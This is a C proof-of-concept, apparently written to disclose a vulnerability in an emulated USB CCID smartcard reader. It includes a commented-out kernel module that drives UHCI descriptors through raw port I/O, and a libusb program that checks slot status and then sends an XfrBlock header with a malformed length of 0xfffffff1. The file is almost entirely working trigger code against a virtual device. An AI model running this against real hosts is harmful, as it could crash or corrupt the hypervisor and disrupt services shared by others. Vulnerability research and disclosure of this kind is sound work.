/* * kernel module poc by liqiang6-s@360.cn * #include #include #include #include #include struct ccid_header { unsigned char bMessageType; unsigned int dwLength; unsigned char bSlot; unsigned char bSeq; }__attribute__((packed)); struct xferblcok { struct ccid_header hdr; unsigned char bBWI; unsigned short wLevelParameter; unsigned char abData[0]; }__attribute__((packed)); struct UHCI_TD { unsigned int link; unsigned int ctrl; unsigned int token; unsigned int buffer; }; int init_module(void) { unsigned char *tdbuf = kmalloc(4096,GFP_KERNEL); unsigned char *link = kmalloc(4096,GFP_KERNEL); unsigned char *ccid = kmalloc(4096,GFP_KERNEL); unsigned long long ptd = virt_to_phys(tdbuf); unsigned long long plink = virt_to_phys(link); unsigned long long pccid = virt_to_phys(ccid); struct xferblcok *ccheader = (struct xferblcok*)ccid; *(unsigned int*)link = ptd; struct UHCI_TD *td = (struct UHCI_TD*)tdbuf; memset(ccid,0,4096); ccheader->hdr.bMessageType = 0x6f; ccheader->hdr.dwLength = 0xfffffff1; td->ctrl = 1 << 23; td->token = 0xe1 | 30 << 21 | 2 << 15; td->buffer = pccid; outw(2,0xc040); outw(0,0xc040+6); outw(plink & 0xffff,0xc040+0x8); outw((plink >> 16) & 0xffff,0xc040+0xa); outw(4,0xc040+0x10); outw(1,0xc040); return 0; } void cleanup_module(void) { } */ #include #include #include #include #include #include #include #include "usb.h" #define CCID_MAX_PACKET_SIZE 64 /* * BULK_OUT messages from PC to Reader * Defined in CCID Rev 1.1 6.1 (page 26) */ #define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOn 0x62 #define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOff 0x63 #define CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus 0x65 #define CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock 0x6f #define CCID_MESSAGE_TYPE_PC_to_RDR_GetParameters 0x6c #define CCID_MESSAGE_TYPE_PC_to_RDR_ResetParameters 0x6d #define CCID_MESSAGE_TYPE_PC_to_RDR_SetParameters 0x61 #define CCID_MESSAGE_TYPE_PC_to_RDR_Escape 0x6b #define CCID_MESSAGE_TYPE_PC_to_RDR_IccClock 0x6e #define CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU 0x6a #define CCID_MESSAGE_TYPE_PC_to_RDR_Secure 0x69 #define CCID_MESSAGE_TYPE_PC_to_RDR_Mechanical 0x71 #define CCID_MESSAGE_TYPE_PC_to_RDR_Abort 0x72 #define CCID_MESSAGE_TYPE_PC_to_RDR_SetDataRateAndClockFrequency 0x73 /* * BULK_IN messages from Reader to PC * Defined in CCID Rev 1.1 6.2 (page 48) */ #define CCID_MESSAGE_TYPE_RDR_to_PC_DataBlock 0x80 #define CCID_MESSAGE_TYPE_RDR_to_PC_SlotStatus 0x81 #define CCID_MESSAGE_TYPE_RDR_to_PC_Parameters 0x82 #define CCID_MESSAGE_TYPE_RDR_to_PC_Escape 0x83 #define CCID_MESSAGE_TYPE_RDR_to_PC_DataRateAndClockFrequency 0x84 /* * INTERRUPT_IN messages from Reader to PC * Defined in CCID Rev 1.1 6.3 (page 56) */ #define CCID_MESSAGE_TYPE_RDR_to_PC_NotifySlotChange 0x50 #define CCID_MESSAGE_TYPE_RDR_to_PC_HardwareError 0x51 /* * Endpoints for CCID - addresses are up to us to decide. * To support slot insertion and removal we must have an interrupt in ep * in addition we need a bulk in and bulk out ep * 5.2, page 20 */ #define CCID_INT_IN_EP (1 | 0x80) #define CCID_BULK_IN_EP (2 | 0x80) #define CCID_BULK_OUT_EP (3) typedef struct __attribute__((packed)) CCID_Header { uint8_t bMessageType; uint32_t dwLength; uint8_t bSlot; uint8_t bSeq; } CCID_Header; typedef struct __attribute__((packed)) CCID_BULK_IN { CCID_Header hdr; uint8_t bStatus; /* Only used in BULK_IN */ uint8_t bError; /* Only used in BULK_IN */ } CCID_BULK_IN; typedef struct __attribute__((packed)) CCID_SlotStatus { CCID_BULK_IN b; uint8_t bClockStatus; } CCID_SlotStatus; int main(int argc, char *argv[]) { int len, xfered, rc; uint8_t buf[CCID_MAX_PACKET_SIZE]; CCID_Header *hdr = (void*)&buf; CCID_SlotStatus *slot = (void*)&buf; find_device("smartcard reader", 0x08e6, 0x4433); fprintf(stderr, "init ok\n"); sleep(1); /* ------------------------------------------------------------ */ fprintf(stderr, "checking slot status ...\n"); memset(buf, 0, sizeof(buf)); hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus; len = 10; rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000); if (rc != 0) { fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); exit(1); } fprintf(stderr, "slot-status out %d/%d\n", xfered, len); memset(buf, 0, sizeof(buf)); len = sizeof(CCID_SlotStatus); rc = libusb_bulk_transfer(hdev, CCID_BULK_IN_EP, buf, len, &xfered, 1000); if (rc != 0) { fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); exit(1); } fprintf(stderr, "slot-status out %d/%d\n", xfered, len); fprintf(stderr, "status: 0x%x, error: 0x%x\n", slot->b.bStatus, slot->b.bError); if (slot->b.bStatus != 0x00 || slot->b.bError != 0x00) { fprintf(stderr, "bad slot status (no card?)\n"); exit(1); } fprintf(stderr, "... ok\n"); /* ------------------------------------------------------------ */ fprintf(stderr, "sending invalid request\n"); memset(buf, 0, sizeof(buf)); hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock; hdr->dwLength = 0xfffffff1; rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, 42, &xfered, 1000); if (rc != 0) { fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); exit(1); } fprintf(stderr, "done\n"); exit(0); }